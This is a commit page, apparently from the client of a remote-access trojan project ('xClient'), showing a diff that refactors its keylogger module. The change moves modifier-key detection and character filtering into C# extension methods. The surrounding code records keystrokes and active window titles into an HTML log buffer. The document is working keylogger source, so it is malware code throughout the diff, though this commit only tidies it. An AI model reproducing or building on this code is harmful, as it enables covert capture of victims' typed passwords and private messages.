Added two extension methods

Added two extension methods for the LoggerHelper.
Also re-wrote the method that tells the calling List<Keys> if a modifier
key was set. Instead of calling contain multiple times two specify if it
contains one element each time (repetitive full traversal), iterate
through and each iterated element should be tested for each possible
modifier key so we must go through the list only once.
This commit is contained in:
yankejustin 2015-05-24 01:28:54 -04:00
parent 55bb97c980
commit 903f6003a8
2 changed files with 21 additions and 18 deletions

View File

@ -100,7 +100,7 @@ namespace xClient.Core.Keylogger
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + activeWindowTitle + "</b>]</p><br>");
}
if (ModifierKeysSet())
if (_pressedKeys.HasSetModifierKeys())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
@ -134,7 +134,7 @@ namespace xClient.Core.Keylogger
if (!_pressedKeyChars.Contains(e.KeyChar))
{
_pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(LoggerHelper.Filter(e.KeyChar));
_logFileBuffer.Append(e.KeyChar.Filter());
}
}
@ -145,16 +145,6 @@ namespace xClient.Core.Keylogger
_pressedKeyChars.RemoveAt(i);
}
private bool ModifierKeysSet()
{
return _pressedKeys.Contains(Keys.LControlKey)
|| _pressedKeys.Contains(Keys.RControlKey)
|| _pressedKeys.Contains(Keys.LMenu)
|| _pressedKeys.Contains(Keys.RMenu)
|| _pressedKeys.Contains(Keys.LWin)
|| _pressedKeys.Contains(Keys.RWin);
}
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
@ -165,7 +155,7 @@ namespace xClient.Core.Keylogger
names[i] = LoggerHelper.GetDisplayName(keys[i].ToString());
}
if (ModifierKeysSet())
if (_pressedKeys.HasSetModifierKeys())
{
StringBuilder specialKeys = new StringBuilder();

View File

@ -1,10 +1,13 @@
using System.Text;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
public class LoggerHelper
public static class LoggerHelper
{
public static string Filter(char key)
public static string Filter(this char key)
{
if ((int)key < 32) return string.Empty;
@ -27,7 +30,7 @@ namespace xClient.Core.Keylogger
}
return key.ToString();
}
public static string GetDisplayName(string key)
{
if (key.Contains("ControlKey"))
@ -52,5 +55,15 @@ namespace xClient.Core.Keylogger
return (!string.IsNullOrEmpty(title)) ? title : null;
}
public static bool HasSetModifierKeys(this List<Keys> KeyCollection)
{
return KeyCollection.Any(KeyItem => (KeyItem == Keys.LControlKey) ||
(KeyItem == Keys.RControlKey) ||
(KeyItem == Keys.LMenu) ||
(KeyItem == Keys.RMenu) ||
(KeyItem == Keys.LWin) ||
(KeyItem == Keys.RWin));
}
}
}
}